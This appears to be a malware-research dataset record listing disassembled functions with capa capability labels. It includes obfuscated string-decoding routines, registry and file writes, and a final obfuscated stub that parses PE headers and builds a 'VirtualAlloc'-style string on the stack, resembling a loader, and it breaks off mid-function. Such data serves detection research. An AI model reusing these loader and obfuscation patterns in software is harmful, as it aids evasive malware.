joyce8/EMBER2024-capa huggingface dataset:
Function at 0x577460
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5776a6
push rbp
mov rbp, rsp
sub rsp, 0x78
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x98], rcx
test rdi, rdi
je 0x5774df
cmp rbx, 1
je 0x5774a6
cmp rbx, 8
jle 0x5774ec
movups xmmword [rsp + 0x1c], xmm15
movups xmmword [rsp + 0x2c], xmm15
xor edx, edx
jmp 0x577641
movzx edx, byte [rax]
cmp edx, 0x80
mov esi, 0xfffd
cmovge edx, esi
mov rax, rcx
mov rbx, rdi
mov ecx, edx
nop
call fcn.00577140
test rax, rax
jl 0x5774d2
xor eax, eax
add rsp, 0x78
pop rbp
ret
mov rax, 0xffffffffffffffff
add rsp, 0x78
pop rbp
ret
mov rax, 0xffffffffffffffff
add rsp, 0x78
pop rbp
ret
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rbx
nop dword [rax]
cmp rdi, 1
jne 0x577525
movzx esi, byte [rcx]
cmp esi, 0x80
mov edi, 0xfffd
cmovge esi, edi
mov dword [rsp + 0x5c], esi
mov rcx, rbx
nop
jmp 0x5775e0
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x98], rcx
mov rdx, rbx
jmp 0x577560
mov rax, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov rdi, qword [rsp + 0xa0]
mov rbx, rcx
mov rcx, qword [rsp + 0x98]
nop dword [rax]
test rbx, rbx
jle 0x5775ae
cmp rdx, rbx
jb 0x5775bb
mov qword [rsp + 0x68], rbx
call fcn.00464840
mov qword [rsp + 0x60], rbx
mov ecx, eax
mov rax, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
call fcn.00577140
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
sub rcx, rdx
nop dword [rax]
test rax, rax
jl 0x57753a
mov rax, rcx
add rsp, 0x78
pop rbp
ret
mov rax, 0xffffffffffffffff
add rsp, 0x78
pop rbp
ret
mov rcx, rbx
nop
call fcn.0045cdc0
mov rax, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
mov esi, edx
mov rbx, rcx
mov rcx, rdi
nop dword [rax]
test rbx, rbx
jle 0x57760d
cmp rcx, rbx
jb 0x57761a
mov qword [rsp + 0x70], rbx
call fcn.00464840
mov rcx, qword [rsp + 0x70]
sub rcx, rbx
mov edx, dword [rsp + 0x5c]
cmp eax, edx
jne 0x5775c5
mov rax, rcx
add rsp, 0x78
pop rbp
ret
mov rax, 0xffffffffffffffff
add rsp, 0x78
pop rbp
ret
mov rdx, rcx
mov rcx, rbx
call fcn.0045cdc0
mov r8d, esi
shr sil, 5
movzx esi, sil
mov r9d, dword [rsp + rsi*4 + 0x1c]
bts r9d, r8d
mov dword [rsp + rsi*4 + 0x1c], r9d
inc rdx
cmp rdi, rdx
jle 0x577653
movzx esi, byte [rcx + rdx]
cmp sil, 0x80
jb 0x577625
cmp rdi, rdx
movups xmm0, xmmword [rsp + 0x1c]
movups xmmword [rsp + 0x3c], xmm0
movups xmm0, xmmword [rsp + 0x2c]
movups xmmword [rsp + 0x4c], xmm0
jg 0x5774ec
lea rcx, [rbx - 1]
jmp 0x577676
dec rcx
test rcx, rcx
jl 0x577699
movzx edx, byte [rax + rcx]
mov ebx, edx
shr dl, 5
movzx edx, dl
mov edx, dword [rsp + rdx*4 + 0x3c]
bt edx, ebx
jae 0x577673
mov rax, rcx
add rsp, 0x78
pop rbp
ret
mov rax, 0xffffffffffffffff
add rsp, 0x78
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045aaa0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00577460
Function at 0x57b460
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea r12, [rsp - 0x28]
cmp r12, qword [r14 + 0x10]
jbe 0x57b608
push rbp
mov rbp, rsp
sub rsp, 0xa0
movabs rdx, 0xd74676e2b45f273
mov qword [rsp + 0x68], rdx
movabs rdx, 0xf19674e53a6cfec9
mov qword [rsp + 0x70], rdx
movabs rdx, 0x206600ec4206758c
mov qword [rsp + 0x78], rdx
movabs rdx, 0x88dc08cb2d6e2d2b
mov qword [rsp + 0x80], rdx
movabs rdx, 0x43657f4fb02d1ffc
mov qword [rsp + 0x88], rdx
movabs rdx, 0x2065491a70a07720
mov qword [rsp + 0x90], rdx
movabs rdx, 0x65f86c90199459fa
mov qword [rsp + 0x98], rdx
movabs rdx, 0x15212e0e182a2522
mov qword [rsp + 0x1a], rdx
movabs rdx, 0x3309191f15292a15
mov qword [rsp + 0x22], rdx
movabs rdx, 0x10211d362a0d3309
mov qword [rsp + 0x28], rdx
movabs rdx, 0x727322306290321
mov qword [rsp + 0x30], rdx
movabs rdx, 0x9180b3130150921
mov qword [rsp + 0x38], rdx
movabs rdx, 0x310e32220f131e24
mov qword [rsp + 0x40], rdx
movabs rdx, 0x2a0c08071c26210f
mov qword [rsp + 0x48], rdx
movabs rdx, 0x2031192c2d231c12
mov qword [rsp + 0x50], rdx
movabs rdx, 0x2714292e1402100f
mov qword [rsp + 0x58], rdx
movabs rdx, 0x203406011e0b2319
mov qword [rsp + 0x60], rdx
xor eax, eax
jmp 0x57b5a3
movzx r9d, byte [rsp + rsi + 0x68]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x30]
mov byte [rsp + rdi + 0x68], dl
mov byte [rsp + rsi + 0x68], r8b
add rax, 2
cmp rax, 0x4e
jge 0x57b5d5
movzx edx, byte [rsp + rax + 0x1a]
movzx esi, byte [rsp + rax + 0x1b]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x38
jae 0x57b5fb
movzx r8d, byte [rsp + rdi + 0x68]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x30]
cmp rsi, 0x38
jb 0x57b589
jmp 0x57b5ef
xor eax, eax
lea rbx, [rsp + 0x68]
mov ecx, 0x38
call fcn.00449780
add rsp, 0xa0
pop rbp
ret
mov eax, esi
mov ecx, 0x38
call fcn.0045cd80
mov eax, edi
mov ecx, 0x38
call fcn.0045cd80
nop
call fcn.0045aaa0
jmp fcn.0057b460

Function at 0x57b9a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x57ba9b
push rbp
mov rbp, rsp
sub rsp, 0x50
movabs rdx, 0x6517dde174e4dc30
mov qword [rsp + 0x39], rdx
movabs rdx, 0x60691bef04723765
mov qword [rsp + 0x40], rdx
movabs rdx, 0x6e23eb742dc8704d
mov qword [rsp + 0x48], rdx
movabs rdx, 0xf010215140c000e
mov qword [rsp + 0x1f], rdx
movabs rdx, 0x121500040c05080b
mov qword [rsp + 0x27], rdx
movabs rdx, 0x104121500040c05
mov qword [rsp + 0x29], rdx
movabs rdx, 0x60401080a000a11
mov qword [rsp + 0x31], rdx
xor eax, eax
jmp 0x57ba39
movzx r9d, byte [rsp + rsi + 0x39]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x30]
mov byte [rsp + rdi + 0x39], dl
mov byte [rsp + rsi + 0x39], r8b
add rax, 2
cmp rax, 0x1a
jge 0x57ba6b
movzx edx, byte [rsp + rax + 0x1f]
movzx esi, byte [rsp + rax + 0x20]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x17
jae 0x57ba8e
movzx r8d, byte [rsp + rdi + 0x39]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x30]
cmp rsi, 0x17
jb 0x57ba1f
jmp 0x57ba82
xor eax, eax
lea rbx, [rsp + 0x39]
mov ecx, 0x17
call fcn.00449780
add rsp, 0x50
pop rbp
ret
mov eax, esi
mov ecx, 0x17
call fcn.0045cd80
mov eax, edi
mov ecx, 0x17
call fcn.0045cd80
nop
nop dword [rax + rax]
call fcn.0045aaa0
jmp fcn.0057b9a0
Function at 0x57dee0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea r12, [rsp - 8]
cmp r12, qword [r14 + 0x10]
jbe 0x57e04c
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
movabs rdx, 0xe3bc203b6365fc36
mov qword [rsp + 0x55], rdx
movabs rdx, 0xc6a6029caf957437
mov qword [rsp + 0x5d], rdx
movabs rdx, 0x2478d4c6a6029caf
mov qword [rsp + 0x60], rdx
movabs rdx, 0x66653008f0ca72fe
mov qword [rsp + 0x68], rdx
movabs rdx, 0xf8d10849ff2f37f3
mov qword [rsp + 0x70], rdx
movabs rdx, 0x1919e7e82b16ff9
mov qword [rsp + 0x78], rdx
movabs rdx, 0x221528261d12250a
mov qword [rsp + 0x1b], rdx
movabs rdx, 0x617080e200f0a16
mov qword [rsp + 0x23], rdx
movabs rdx, 0x13230617080e200f
mov qword [rsp + 0x25], rdx
movabs rdx, 0x2200170c04210c04
mov qword [rsp + 0x2d], rdx
movabs rdx, 0x23080d29012a0127
mov qword [rsp + 0x35], rdx
movabs rdx, 0x261c1e18081e2822
mov qword [rsp + 0x3d], rdx
movabs rdx, 0x18070d0d1e0b0f18
mov qword [rsp + 0x45], rdx
movabs rdx, 0x17261025280b1b
mov qword [rsp + 0x4d], rdx
xor eax, eax
jmp 0x57dfe7
movzx r9d, byte [rsp + rsi + 0x55]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x30]
mov byte [rsp + rdi + 0x55], dl
mov byte [rsp + rsi + 0x55], r8b
add rax, 2
cmp rax, 0x3a
jge 0x57e01c
movzx edx, byte [rsp + rax + 0x1b]
movzx esi, byte [rsp + rax + 0x1c]
mov edi, edx
xor edx, esi
add edx, eax
nop dword [rax]
cmp rdi, 0x2b
jae 0x57e03f
movzx r8d, byte [rsp + rdi + 0x55]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x30]
cmp rsi, 0x2b
jb 0x57dfcd
jmp 0x57e033
xor eax, eax
lea rbx, [rsp + 0x55]
mov ecx, 0x2b
call fcn.00449780
sub rsp, 0xffffffffffffff80
pop rbp
ret
mov eax, esi
mov ecx, 0x2b
call fcn.0045cd80
mov eax, edi
mov ecx, 0x2b
call fcn.0045cd80
nop
call fcn.0045aaa0
jmp fcn.0057dee0

Function at 0x5848c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x584987
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0xd221f17e353e2ce
mov qword [rsp + 0x2d], rdx
mov dword [rsp + 0x34], 0x292c4f0d
movabs rdx, 0x603000504070303
mov qword [rsp + 0x1f], rdx
movabs rdx, 0xa09050a01090603
mov qword [rsp + 0x25], rdx
xor eax, eax
jmp 0x584928
movzx r9d, byte [rsp + rsi + 0x2d]
sub r9d, edx
lea edx, [r9 + 0x3d]
mov byte [rsp + rdi + 0x2d], dl
lea edx, [r8 + 0x3d]
mov byte [rsp + rsi + 0x2d], dl
add rax, 2
cmp rax, 0xe
jge 0x584957
movzx edx, byte [rsp + rax + 0x1f]
movzx esi, byte [rsp + rax + 0x20]
mov edi, edx
xor edx, esi
add edx, eax
nop
cmp rdi, 0xb
jae 0x58497a
movzx r8d, byte [rsp + rdi + 0x2d]
sub r8d, edx
cmp rsi, 0xb
jb 0x58490b
jmp 0x58496e
xor eax, eax
lea rbx, [rsp + 0x2d]
mov ecx, 0xb
call fcn.00449780
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xb
call fcn.0045cd80
mov eax, edi
mov ecx, 0xb
call fcn.0045cd80
nop
call fcn.0045aaa0
jmp fcn.005848c0
Function at 0x587720
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea r12, [rsp - 0x50]
cmp r12, qword [r14 + 0x10]
jbe 0x5878ab
push rbp
mov rbp, rsp
sub rsp, 0xc8
movabs rdx, 0x8290f726faecccfc
mov qword [rsp + 0x81], rdx
movabs rdx, 0x770de1abf0a46d82
mov qword [rsp + 0x88], rdx
movabs rdx, 0xaa6ea2394d018100
mov qword [rsp + 0x90], rdx
movabs rdx, 0x4aedab669d02daa
mov qword [rsp + 0x98], rdx
movabs rdx, 0x7398df9fb6653393
mov qword [rsp + 0xa0], rdx
movabs rdx, 0x658e9620fe608520
mov qword [rsp + 0xa8], rdx
movabs rdx, 0xe69bfb06c9b7b94
mov qword [rsp + 0xb0], rdx
movabs rdx, 0x747ab5d4e87f5668
mov qword [rsp + 0xb8], rdx
movabs rdx, 0xb90706696e994a79
mov qword [rsp + 0xc0], rdx
movabs rdx, 0x3a192812011e0511
mov qword [rsp + 0x1f], rdx
lea rdi, [rsp + 0x21]
lea rsi, [0x005efb22]
nop word [rax + rax]
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.0045d3ac
mov rbp, qword [rbp]
xor eax, eax
jmp 0x587840
movzx r9d, byte [rsp + rsi + 0x81]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x5d]
mov byte [rsp + rdi + 0x81], dl
mov byte [rsp + rsi + 0x81], r8b
add rax, 2
nop word [rax + rax]
cmp rax, 0x62
jge 0x587875
movzx edx, byte [rsp + rax + 0x1f]
movzx esi, byte [rsp + rax + 0x20]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x47
jae 0x58789e
movzx r8d, byte [rsp + rdi + 0x81]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x5d]
cmp rsi, 0x47
jb 0x587817
jmp 0x587892
xor eax, eax
lea rbx, [rsp + 0x81]
mov ecx, 0x47
call fcn.00449780
add rsp, 0xc8
pop rbp
ret
mov eax, esi
mov ecx, 0x47
call fcn.0045cd80
mov eax, edi
mov ecx, 0x47
call fcn.0045cd80
nop
call fcn.0045aaa0
jmp fcn.00587720

Function at 0x588740
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x588806
push rbp
mov rbp, rsp
sub rsp, 0x30
movabs rdx, 0x300a1eb83dba6e69
mov qword [rsp + 0x27], rdx
mov byte [rsp + 0x2f], 0x1f
movabs rdx, 0x203040704020607
mov qword [rsp + 0x1b], rdx
mov dword [rsp + 0x23], 0x8050703
xor eax, eax
nop
jmp 0x5887a0
movzx r9d, byte [rsp + rsi + 0x27]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x30]
mov byte [rsp + rdi + 0x27], dl
mov byte [rsp + rsi + 0x27], r8b
add rax, 2
nop dword [rax]
cmp rax, 0xc
jge 0x5887d2
movzx edx, byte [rsp + rax + 0x1b]
movzx esi, byte [rsp + rax + 0x1c]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 9
jae 0x5887f7
movzx r8d, byte [rsp + rdi + 0x27]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x30]
cmp rsi, 9
jb 0x588782
jmp 0x5887eb
xor eax, eax
lea rbx, [rsp + 0x27]
mov ecx, 9
nop
call fcn.00449780
add rsp, 0x30
pop rbp
ret
mov eax, esi
mov ecx, 9
call fcn.0045cd80
mov eax, edi
mov ecx, 9
nop
call fcn.0045cd80
nop
call fcn.0045aaa0
jmp fcn.00588740
Function at 0x588820
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5888dd
push rbp
mov rbp, rsp
sub rsp, 0x30
movabs rdx, 0x63f39572979a9193
mov qword [rsp + 0x27], rdx
mov byte [rsp + 0x2f], 0xb9
movabs rdx, 0x102050106050508
mov qword [rsp + 0x1d], rdx
mov word [rsp + 0x25], 0x300
xor eax, eax
nop
jmp 0x588880
movzx r9d, byte [rsp + rsi + 0x27]
sub r9d, edx
lea edx, [r9 - 0x23]
mov byte [rsp + rdi + 0x27], dl
lea edx, [r8 - 0x23]
mov byte [rsp + rsi + 0x27], dl
add rax, 2
nop
cmp rax, 0xa
jge 0x5888ad
movzx edx, byte [rsp + rax + 0x1d]
movzx esi, byte [rsp + rax + 0x1e]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 9
jae 0x5888d0
movzx r8d, byte [rsp + rdi + 0x27]
sub r8d, edx
cmp rsi, 9
jb 0x588862
jmp 0x5888c4
xor eax, eax
lea rbx, [rsp + 0x27]
mov ecx, 9
call fcn.00449780
add rsp, 0x30
pop rbp
ret
mov eax, esi
mov ecx, 9
call fcn.0045cd80
mov eax, edi
mov ecx, 9
call fcn.0045cd80
nop
nop dword [rax]
call fcn.0045aaa0
jmp fcn.00588820
Function at 0x140001a10
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov r14, r9
mov r15, r8
mov rdi, rdx
mov rsi, rcx
mov rax, qword [0x14002f010]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rsp + 0x40]
imul eax, eax, 0x2710
movzx ecx, word [rsp + 0x42]
imul ecx, ecx, 0x64
add ecx, eax
movzx ebx, word [rsp + 0x46]
add ebx, ecx
cmp ebx, dword [rsi + 0x24]
jne 0x140001a79
mov eax, dword [rsi + 0x20]
cmp eax, 0xffffffff
je 0x140001a79
mov ebp, 3
cmp dword [rsi + 0x28], eax
jge 0x140001b0f
mov rax, qword [rsp + 0xb0]
mov dword [rsp + 0x3c], 0
lea rcx, [rsp + 0x3c]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, r15
mov r8, r14
xor r9d, r9d
call fcn.140001d00
test al, al
je 0x140001aba
cmp dword [rsi + 0x24], ebx
jne 0x140001ace
mov eax, dword [rsi + 0x28]
add eax, 1
jmp 0x140001add
mov eax, 0xfffffe70
add eax, dword [rsp + 0x3c]
xor ebp, ebp
cmp eax, 0x64
setb bpl
jmp 0x140001b0f
mov dword [rsi + 0x24], ebx
mov dword [rsi + 0x28], 0
mov eax, 1
mov dword [rsi + 0x28], eax
cmp qword [rsi + 0x10], 0
je 0x140001b0a
cmp qword [rsi + 0x18], 8
mov rdx, rsi
jb 0x140001af4
mov rdx, qword [rsi]
lea r8, [0x14002a952]
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
test eax, eax
je 0x140001b2b
mov ebp, 2
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140027320
mov eax, ebp
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov r9, qword [rsp + 0x40]
lea rcx, str.GBP1_n
mov edx, 5
mov r8d, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov r8d, dword [rsi + 0x24]
mov rcx, qword [rsp + 0x40]
int3
Function at 0x140006570
Capabilities:
Query environment variable

Disassembly:
push rsi
sub rsp, 0x50
mov rax, qword [0x14002f010]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rcx, str.MOZ_CRASHREPORTER_NO_DELETE_DUMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x14000659b
cmp byte [rax], 0
jne 0x1400065bd
cmp qword [0x14002f340], 0
jne 0x1400065d1
cmp qword [0x14002f360], 0
jne 0x14000660d
cmp qword [0x14002f380], 0
jne 0x14000664d
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140027320
nop
add rsp, 0x50
pop rsi
ret
lea rdx, [0x14002f330]
lea rsi, [rsp + 0x28]
mov rcx, rsi
int3
lea rdx, [0x14002f350]
lea rsi, [rsp + 0x28]
mov rcx, rsi
int3
lea rdx, [0x14002f370]
lea rsi, [rsp + 0x28]
mov rcx, rsi
int3

Function at 0x140012960
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov r14, r8
mov r12, rdx
movzx edx, cx
cmp byte [0x14002f470], 1
jne 0x140012a1b
mov r8d, 5
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov ecx, 0x40
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
mov rcx, rax
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
or byte [rdi + 0xa], 0x40
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rdi
mov r8, r12
mov r9, r14
call qword [sym.imp.USER32.dll_DialogBoxIndirectParamW]
mov rdi, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rax, rdi
jmp 0x140012a32
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov r8, r12
mov r9, r14
call qword [sym.imp.USER32.dll_DialogBoxParamW]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140016340
Capabilities:
Get graphical window text

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x850
mov r14d, r9d
mov rsi, r8
mov r15, rdx
mov r12, rcx
mov rax, qword [0x14002f010]
xor rax, rsp
mov qword [rsp + 0x848], rax
call qword [sym.imp.USER32.dll_GetDC]
mov rbx, rax
mov rcx, r12
mov edx, 0x31
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.USER32.dll_SendMessageW]
test rax, rax
je 0x14001639d
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
lea rdx, [rsp + 0x40]
mov rcx, r12
mov r8d, 0x400
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov r8d, dword [rsi + 0x10]
cmp qword [rsi + 0x18], 8
mov rdx, rsi
jb 0x1400163c2
mov rdx, qword [rsi]
lea r9, [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
xor ebp, ebp
test eax, eax
je 0x140016466
lea rdi, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
lea r9, [rsp + 0x30]
mov rcx, rbx
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
test eax, eax
je 0x140016466
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x30]
sub eax, ecx
js 0x140016466
mov ebp, dword [rsp + 0x8b0]
test ebp, ebp
jne 0x140016420
mov ebp, dword [r15 + 8]
sub ebp, ecx
sub ebp, dword [r15]
add ebp, eax
test r14b, r14b
je 0x140016435
mov edx, dword [r15]
mov r9d, dword [r15 + 8]
sub edx, ebp
mov dword [r15], edx
jmp 0x140016443
mov r9d, dword [r15 + 8]
add r9d, ebp
mov dword [r15 + 8], r9d
mov edx, dword [r15]
mov r8d, dword [r15 + 4]
mov eax, dword [r15 + 0xc]
sub eax, r8d
sub r9d, edx
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 1
mov rcx, r12
call qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, rsi
call section..text
mov rcx, qword [rsp + 0x848]
xor rcx, rsp
call fcn.140027320
mov eax, ebp
add rsp, 0x850
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140016a00
Capabilities:
Get graphical window text

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x868
mov r14, rcx
mov rax, qword [0x14002f010]
xor rax, rsp
mov qword [rsp + 0x860], rax
mov edx, 0x3f6
call qword [sym.imp.USER32.dll_GetDlgItem]
mov rdi, rax
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov rbx, rax
mov rcx, rdi
mov edx, 0x31
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.USER32.dll_SendMessageW]
test rax, rax
je 0x140016a63
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
lea rbp, [rsp + 0x38]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.USER32.dll_GetWindowRect]
xor ecx, ecx
mov rdx, r14
mov r8, rbp
mov r9d, 2
call qword [sym.imp.USER32.dll_MapWindowPoints]
lea rbp, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbp
mov r8d, 0x400
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
lea r9, [rsp + 0x48]
mov rcx, rbx
mov rdx, rbp
mov r8d, eax
call qword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
test eax, eax
je 0x140016afe
mov eax, dword [rsp + 0x48]
mov ebp, dword [rsp + 0x38]
mov ebx, dword [rsp + 0x40]
sub ebx, ebp
cmp eax, ebx
jl 0x140016afe
cvtsi2ss xmm0, eax
cvtsi2ss xmm1, ebx
divss xmm0, xmm1
call sub.api_ms_win_crt_math_l1_1_0.dll_ceilf
cvttss2si eax, xmm0
imul eax, dword [rsp + 0x4c]
mov r8d, dword [rsp + 0x3c]
mov esi, r8d
sub esi, dword [rsp + 0x44]
add esi, eax
test esi, esi
jg 0x140016b1f
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.140027320
nop
add rsp, 0x868
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 1
mov r15, qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, rdi
mov edx, ebp
mov r9d, ebx
call r15
mov rdi, qword [0x14002f460]
mov rcx, qword [rdi + 8]
call fcn.140015da0
mov rax, qword [0x14002f460]
mov qword [rax + 8], rdi
mov qword [rax], rdi
mov rax, qword [0x14002f460]
mov qword [rax + 0x10], rdi
mov qword [0x14002f468], 0
mov dword [rsp + 0x34], 0x3ed
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x34]
int3
Function at 0x1400173e0
Capabilities:
Set registry value

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x868
mov ebp, edx
mov rsi, rcx
mov rax, qword [0x14002f010]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rdi, [rsp + 0x60]
mov edx, 0x3f1
mov r8, rdi
mov r9d, 0x400
call qword [sym.imp.USER32.dll_GetDlgItemTextW]
movaps xmm0, xmmword [0x1400281b0]
movups xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], 0
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, rdi
call fcn.140001070
cmp qword [0x14002f438], 7
jbe 0x140017451
mov rdx, qword [0x14002f420]
jmp 0x140017458
lea rdx, [0x14002f420]
lea r8, [rsp + 0x38]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1400174b4
mov eax, dword [rsp + 0x50]
lea eax, [rax + rax]
add eax, 2
cmp qword [rsp + 0x58], 7
jbe 0x140017485
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
lea rdx, str.Email
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x40]
call section..text
mov rdi, qword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov rcx, rsi
mov edx, 0x3f2
call rdi
test eax, eax
setne r8b
lea rbx, [0x14002f420]
cmp qword [0x14002f438], 7
mov rcx, rbx
jbe 0x1400174f0
mov rcx, qword [0x14002f420]
lea rdx, str.IncludeURL
int3
Function at 0x140026fcd
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140026feb
je 0x140026ff6
call 0x140027045
mov bl, 0xc7
lahf
pop rsi
jne 0x140026fd6
call 0x140026fee
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140026fd6
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140027024
je 0x140027062
invalid
je 0x140027073
jne 0x140026fd6
lea rax, [0x140026efc]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
